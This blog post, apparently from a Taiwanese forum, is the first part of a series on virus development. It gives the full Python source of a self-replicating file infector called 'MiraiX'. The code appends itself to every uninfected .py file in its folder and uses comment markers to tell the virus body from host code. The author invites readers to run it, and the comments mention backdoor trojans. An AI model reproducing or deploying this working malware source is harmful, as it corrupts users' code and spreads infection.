切換
舊版
前往
大廳
主題

病毒開發(1) - 自我複製(self replicate)

虛鹿 | 2022-01-24 13:03:52 | 巴幣 26 | 人氣 487

剛剛終於測試成功了,
意外的發現蠻有成就感的說~\(≧▽≦)/
照慣例,先分享一首歌給各位,
讓諸君看我噴幹話時不會太過乏味。

雖然說,
一般開發病毒所會選用的程式語言,
很少會選用python,
畢竟會受限被感染的環境,
因此多半會用C。(比較low level
但為了方便做示範,所以以下都是用python。

如果泥想測試虛鹿的程式,
你可以直接無腦的把原始碼塞進python,
鼓起勇氣,直接安心的執行下去。
他雖然是惡意程式,
但我沒有塞入會影響使用者的惡意功能,
只是會複製自己到其他python檔案中而已。
(擴散的範圍不會離開執行的資料夾呦!(^ ^)

在一個資料夾之下,放入兩個檔案,
MiraiX.py是惡意程式的本體,
而hello.py則是另一個不相干的程式。

其中,
hello.py的原始內容長這樣:

而以下這一長串,
則是MiraiX的原始碼:
(如果想要測試,請記得連註解都要一起複製呦!

MiraiX原始碼:

#### MiraiX Ver0.1.0-Prototype ####
###   Coded by 虛鹿(Falsedeer)   ###
import sys
import glob2
import fnmatch
import os

Replicate = False
self_replicate=[]
target_files = []

# self scanning for replicate
# save replicate code temporary in an array

Handler = open(sys.argv[0], 'r')
predata = Handler.readlines()

for line in predata:
    if fnmatch.fnmatch(line, "#### MiraiX Ver*"):
        Replicate = True
    elif fnmatch.fnmatch(line, "#### MiraiX-EOF*"):
        self_replicate.append("#### MiraiX-EOF ####")
        Replicate = False
   
    if Replicate == True:
        self_replicate.append(line)
    else:
        break
       
Handler.close()

# searching python files for further infection

target_files = glob2.glob("*.py") + glob2.glob("*.pyc") + glob2.glob("*.pyw") + glob2.glob("*.pwo") + glob2.glob("*.pyd")

# removing current file name from array
target_files.remove(os.path.basename(__file__))

# checking if the file is infected
for file in target_files:
    Infect = False
    T_handler = open(file, 'r+')
    T_data = T_handler.readlines()
    for code in T_data:
        if fnmatch.fnmatch(code, "#### MiraiX Ver*"):
            Infect = True
        else:
            pass
       
    # start infecting the file
    if Infect == True:
        pass
    else:
        T_handler.writelines('\n')
        T_handler.writelines(self_replicate)

    T_handler.close()

#### MiraiX-EOF ####

而當MiraiX被執行時,
他會讀取自身被執行的檔案,
利用註解的”#### MiraiX Ver……. ####”,
與底部的”#### MiraiX-EOF ####”,
取得自身欲被複製的內容,
並將其存入陣列之中。

接著,
利用glob2尋找同目錄下的python檔案,
並讀取他,檢測看看是否被自身感染過,
就跟生物學上的免疫系統一樣,
會看看是否有被標記過。
(這部分的識別,就是利用註解上的“#### MiraiX Ver…… ####” 做為辨識。)

如果有被感染過,
複製程序就會跳過。
沒有的話,
則會將先前儲存在陣列中的自身程式
寫入該檔案中,
等待下次被執行造成進一步的感染。

因此,執行MiraiX後,
便可在hello.py的下方看到被複製的病毒。

只要該檔案被搬運,並在其他地方執行,
則會再次進行複製,擴大感染的範圍。
在這邊,註解的部分就能有效的區別出:
”病毒本體”、”被寄生的程式碼”
以免複製到其餘非本體的部分。

這次就先講到這邊,
其餘的有機會下次再跟諸君分享。( ̄∇ ̄)
送禮物贊助創作者 !
0
留言

創作回應

鏡野七罪
我記得之前我照著YT教學,然後在虛擬機上測試開後門。但現在好像那影片背隱藏了。
2022-01-24 13:09:19
虛鹿
聽起來那個應該是用socket建立的簡易Trojan
2022-01-25 01:50:51
藥師之路
跟鬼一樣欸 我只會複製現實中的病毒而已
2022-01-24 13:11:20
虛鹿
還好而已啦
2022-01-25 01:51:39
佬的世界
2022-01-24 14:42:18
虛鹿
並沒有
2022-01-25 01:51:46
Nero
酷喔 但滿想看你用c++寫看看ㄉ
2022-01-24 15:15:56
虛鹿
如果之後有想法的話,我應該會用C全部重寫一次的說~
2022-01-25 01:54:02

更多創作